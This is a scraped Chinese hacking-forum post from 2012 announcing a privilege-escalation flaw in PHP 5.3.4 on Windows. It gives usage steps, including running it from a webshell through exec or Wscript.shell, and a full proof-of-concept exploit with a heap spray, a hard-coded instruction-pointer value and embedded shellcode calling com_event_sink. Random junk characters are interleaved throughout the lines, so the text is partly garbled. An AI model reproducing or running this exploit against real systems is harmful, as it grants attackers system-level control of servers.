找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中1 Q2 [4 j7 k1 V+ p7 E8 }# ?* `" }

& B9 g. d8 E: p8 f7 h测试方法如下:cmd /c x:\php\php.exe x:\test.php# z4 |* Z- @9 u

$ B3 p+ k' k+ B" m, J下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php8 E3 G+ l' c% F( L; A- }
这里是两个测试的截图:
: r' M) C5 H1 O- e) w: r2 Y; ?5 n+ y1 q) u! ?9 {- B& p' V
( F3 ~% z! F) D4 [7 g7 h

: Q  D7 {) J" O  }
% S6 C; O9 O0 o/ R& v$ n* ^( B3 M/ J1 L( J# \" q, l# |( w1 B" P
成功利用此漏洞的攻击者将获得系统的最高权限* `" R7 t- g" o1 R
2 x: R$ E% j; p/ ^4 i
3 z" _" b- i& i# A

4 ~& |5 P( o0 A1 b* m$ b. D: x& p) L
. S7 E0 v: |% M3 j( q
关于漏洞分析稍后附上。一下是PoC代码:
1 s) a" ^9 R5 n+ N- S7 _/ [: g* V
<?php
$ m6 S( i. T: L# `! B9 i' E//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞  {3 {" E. @" S  ~2 b* F
//$eip ="\x44\x43\x42\x41";
) D, W8 Q& w  t; k$ E- m+ {$eip= "\x4b\xe8\x57\x78";
3 S; A5 _6 T& @' U$eax ="\x80\x01\x8d\x04";
0 @2 F0 }7 [# R6 H0 x8 p$deodrant="";
' B* _% |* u" }+ L- E# w$ S1 N$axespray = str_repeat($eip.$eax,0x80);
5 d" Q4 U4 N0 G. T, e9 E% V//048d0190, ]8 H9 }  i0 ?
echo strlen($axespray);
+ M! [8 T  V+ T; _0 ]1 i8 v* fecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
4 U' X& u. l% n4 @echo "Silic Group Hacker Army - BlackBap.Org";0 x+ y/ y. }' h5 ]& H
//19200 ==4B32 4b00
# ?- @0 v! w( e% `6 pfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
) A% [! z( |, X  e5 G$terminate = "T";
* z. `3 v$ S( N, Y: g3 X$u[] =$deodrant;: L  s+ w9 F3 C+ E3 g
$r[] =$deodrant.$terminate;' b2 l, D5 F  w: I) m! P
$a[] =$deodrant.$terminate;1 q# s: M! u; Q. i
$s[] =$deodrant.$terminate;1 f; n  U: w5 ?. {% z
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的7 K* b3 c; }) t! S- f# B
$vVar = new VARIANT(0x048d0000+180);/ ~: r" O' i! r( ^' C0 K7 A
//弹窗代码(Shellcode)0 o% U4 Y" P" V- u" f1 e" W
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";; P* r* d& A3 d  b% v
$var2 = new VARIANT(0x41414242);
% E% h' r  N- g3 P/ o, C- ~com_event_sink($vVar,$var2,$buffer);
( Q; U. [+ V9 o. m( v- x?>. [  z7 X7 i* x! w$ h+ _

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表